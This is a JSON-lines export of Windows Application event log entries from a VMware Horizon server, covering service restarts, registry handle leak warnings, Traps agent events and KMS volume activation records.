{"@timestamp":1646838644401,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167330}}
{"@timestamp":1646838644402,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152316","0"]}}},"module":"Application","provider":"nssm","sequence":167331}}
{"@timestamp":1646838644402,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152316","152316","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167332}}
{"@timestamp":1646838644419,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167333}}
{"@timestamp":1646838644420,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167334}}
{"@timestamp":1646838644420,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167335}}
{"@timestamp":1646838644421,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":167336}}
{"@timestamp":1646838660694,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1530,"custom_data":{"EventData":{"#attributes":{"Name":"EVENT_HIVE_LEAK"},"Detail":"20 user registry handles leaked from \\Registry\\User\\S-1-5-21-1078081533-1645522239-682003330-1192:\nProcess 1156 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\nProcess 696 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\System\\GameConfigStore\\Parents\nProcess 696 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\System\\GameConfigStore\nProcess 972 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\nProcess 1156 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\nProcess 6448 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\nProcess 1156 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Internet Explorer\\Main\\FeatureControl\nProcess 6448 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Internet Explorer\\Main\\FeatureControl\nProcess 1604 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Policies\\Microsoft\\Windows\\DataCollection\nProcess 1156 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\nProcess 6448 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\nProcess 1156 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Internet Explorer\\Main\nProcess 6448 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Internet Explorer\\Main\nProcess 6448 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\ActiveSync\\Partners\nProcess 696 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\System\\GameConfigStore\\Children\nProcess 1156 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Internet Explorer\\Security\nProcess 6448 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Internet Explorer\\Security\nProcess 1156 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\nProcess 1156 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\POLICIES\\MICROSOFT\\INTERNET EXPLORER\\MAIN\nProcess 6448 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\POLICIES\\MICROSOFT\\INTERNET EXPLORER\\MAIN\n"}},"module":"Application","provider":"Microsoft-Windows-User Profiles Service","sequence":167337}}
{"@timestamp":1646838660728,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1530,"custom_data":{"EventData":{"#attributes":{"Name":"EVENT_HIVE_LEAK"},"Detail":"2 user registry handles leaked from \\Registry\\User\\S-1-5-21-1078081533-1645522239-682003330-1192_Classes:\nProcess 6448 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192_Classes\nProcess 6448 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192_Classes\n"}},"module":"Application","provider":"Microsoft-Windows-User Profiles Service","sequence":167338}}
{"@timestamp":1646838661302,"ecs":{"version":"8.4"},"event":{"activity":null,"code":260,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":null}}},"module":"Application","provider":"VMUpgradeHelper","sequence":167339}}
{"@timestamp":1646838661303,"ecs":{"version":"8.4"},"event":{"activity":null,"code":272,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":null}}},"module":"Application","provider":"VMUpgradeHelper","sequence":167340}}
{"@timestamp":1646838661340,"ecs":{"version":"8.4"},"event":{"activity":null,"code":108,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":null}}},"module":"Application","provider":"VMTools","sequence":167341}}
{"@timestamp":1646838662229,"ecs":{"version":"8.4"},"event":{"activity":null,"code":3,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Traps"]}}},"module":"Application","provider":"Traps","sequence":167342}}
{"@timestamp":1646838662489,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1040,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","SHUTDOWN"]}}},"module":"Application","provider":"nssm","sequence":167343}}
{"@timestamp":1646838662491,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1012,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167344}}
{"@timestamp":1646838662515,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1532,"custom_data":{"EventData":null},"module":"Application","provider":"Microsoft-Windows-User Profiles Service","sequence":167345}}
{"@timestamp":1646838689749,"ecs":{"version":"8.4"},"event":{"activity":null,"code":105,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":null}}},"module":"Application","provider":"VMTools","sequence":167346}}
{"@timestamp":1646838688765,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1531,"custom_data":{"EventData":null},"module":"Application","provider":"Microsoft-Windows-User Profiles Service","sequence":167347}}
{"@timestamp":1646838689140,"ecs":{"version":"8.4"},"event":{"activity":null,"code":5615,"custom_data":{"EventData":null},"module":"Application","provider":"Microsoft-Windows-WMI","sequence":167348}}
{"@timestamp":1646838690221,"ecs":{"version":"8.4"},"event":{"activity":null,"code":5617,"custom_data":{"EventData":null},"module":"Application","provider":"Microsoft-Windows-WMI","sequence":167349}}
{"@timestamp":1646838691483,"ecs":{"version":"8.4"},"event":{"activity":null,"code":781,"custom_data":{"EventData":{"param1":"86400","param2":"SuppressDuplicateDuration","param3":"Software\\Microsoft\\COM3\\Eventlog"}},"module":"Application","provider":"Microsoft-Windows-Complus","sequence":167350}}
{"@timestamp":1646838691499,"ecs":{"version":"8.4"},"event":{"activity":null,"code":258,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":null}}},"module":"Application","provider":"VMUpgradeHelper","sequence":167351}}
{"@timestamp":1646838691593,"ecs":{"version":"8.4"},"event":{"activity":null,"code":271,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":null}}},"module":"Application","provider":"VMUpgradeHelper","sequence":167352}}
{"@timestamp":1646838691671,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":167353}}
{"@timestamp":1646838692749,"ecs":{"version":"8.4"},"event":{"activity":null,"code":4202,"custom_data":{"EventData":{"param1":"0","param10":"0","param11":"0","param12":"1","param2":"0","param3":"0","param4":"0","param5":"0","param6":"0","param7":"1","param8":"Mutual Authentication Required","param9":"NT AUTHORITY\\NetworkService"}},"module":"Application","provider":"Microsoft-Windows-MSDTC 2","sequence":167354}}
{"@timestamp":1646838700921,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Traps"]}}},"module":"Application","provider":"Traps","sequence":167355}}
{"@timestamp":1646838710452,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"UserData":{"EventXML":{"#attributes":{"xmlns":"Perflib"},"binaryData":"0200000000000000","binaryDataSize":8,"param1":"BITS","param2":"C:\\Windows\\System32\\bitsperf.dll"}}},"module":"Application","provider":"Microsoft-Windows-Perflib","sequence":167356}}
{"@timestamp":1646838763801,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1040,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","START"]}}},"module":"Application","provider":"nssm","sequence":167357}}
{"@timestamp":1646838764066,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167358}}
{"@timestamp":1646838764066,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167359}}
{"@timestamp":1646838767408,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167360}}
{"@timestamp":1646838814850,"ecs":{"version":"8.4"},"event":{"activity":null,"code":900,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["<none>"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167361}}
{"@timestamp":1646838815444,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1066,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Windows\\system32\\sppwinob.dll, msft:spp/windowsfunctionality/agent/7.0, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:rm/algorithm/inherited/1.0, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:rm/algorithm/phone/1.0, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:rm/algorithm/pkey/detect, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:spp/ActionScheduler/1.0, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:spp/TaskScheduler/1.0, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:spp/statecollector/pkey, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:spp/volume/services/kms/1.0, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:spp/volume/services/kms/activationinfo/1.0, 0x00000000, 0x00000000\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167362}}
{"@timestamp":1646838815615,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 181648)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167363}}
{"@timestamp":1646838815647,"ecs":{"version":"8.4"},"event":{"activity":null,"code":902,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["10.0.14393.4402"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167364}}
{"@timestamp":1646838815803,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/07/13:18:41:35;LastConsumptionReason=0x4004f040;LastNotificationId=VolumeRenewalRequired;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=502ff3ba-669a-4674-bbb1-601f34a3b968;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167365}}
{"@timestamp":1646838817334,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12288,"custom_data":{"EventData":{"Binary":"0000060057AFD48690A378BA6550D704F5910840C507071DC13CFC346D496EF86C0A7FA409DC88FA8CE99DF63E83EBB5CFAF0727FC4A1C8438763B303C55A86864B673FEC60BEC06C445733A577C84DF9893C158F442566C0A09D8882DA8CCA0E29D34C19708D73B52C5926536B7305B838B165DA73F1164F8C49477DD3C49DFD96EF9E6302EC75B069F54021D2E107B4A91836FCC2134200FD339AF3762988FF903DFD4429A456BC853730CB0B1BDC920D2F8F4DD16B5EEDF16553F5010828EBB1FFC1B24F8CC41EFA3BAFB1357A80BD4057F5A28E7D57C78793008D92450D6327C1B1DC56457B9699DA109B4AD32245CDB0445045BC1A8A0B69BF6B4AC85307FA18E8F","Data":{"#text":["0x00000000, 0x00000000, eng-infrasrv101.engineering-ac.de:1688, 66fdcf75-989c-462d-9cda-ff5474d65922, 2022/03/09 15:13, 0, 1, 181648, 21c56779-b449-4d20-adfc-eece0e1ad74b, 5"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167366}}
{"@timestamp":1646838817475,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12289,"custom_data":{"EventData":{"Binary":"000006008E7A9F42471EFB6971D88E91C4AE1BFEB3514C852594579A8781A0E6B2F0E41981937D81E47CA29005DBD8DDADF95D1F003D1BD52B50D3B9437DF8D2AEE5981AF6F7EB82AD7CE274C2C5192D28AF2873B4B59F60C1FD3DB15AFA36E7E998E82F9500D85B900BD868835014BAD44951FDBB5BBAD19FB4104F51FB49F3B66F78EF302C78AC574BD5D53DA5D204D20938DC9ECDD41AB10BB38C5EB1897F79013A5ABAAEB47D86B8C99BBC7D5FEF4860CCA9DC3C938BD95750C58D9A50816F2BCDF8EEDFDD981210E14F9358C9E807FC2E24836561F2C87C01389E1A156C9790041EA404D3606309DA232DA623D6BFE9C016A9A2B70CDF638088BDF79E3A32B6403A","Data":{"#text":["0x00000000, 0x00000000, 1, 0, 50, 120, 10080, 2022/03/09 15:13"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167367}}
{"@timestamp":1646838817616,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["ACLUIFileFolderTool-IsSecurityUIEnabled","100"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167368}}
{"@timestamp":1646838817616,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-IgnoreDeferredActivation","500"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167369}}
{"@timestamp":1646838817616,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1033,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["(Security-SPP-Reserved-EnableNotificationMode) ","55c92734-d682-4d71-983e-d6ec3f16059f","21c56779-b449-4d20-adfc-eece0e1ad74b"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167370}}
{"@timestamp":1646838817662,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167371}}
{"@timestamp":1646838817741,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167372}}
{"@timestamp":1646838817772,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=502ff3ba-669a-4674-bbb1-601f34a3b968;Action=AutoActivateSilent;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;NotificationInterval=1440;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167373}}
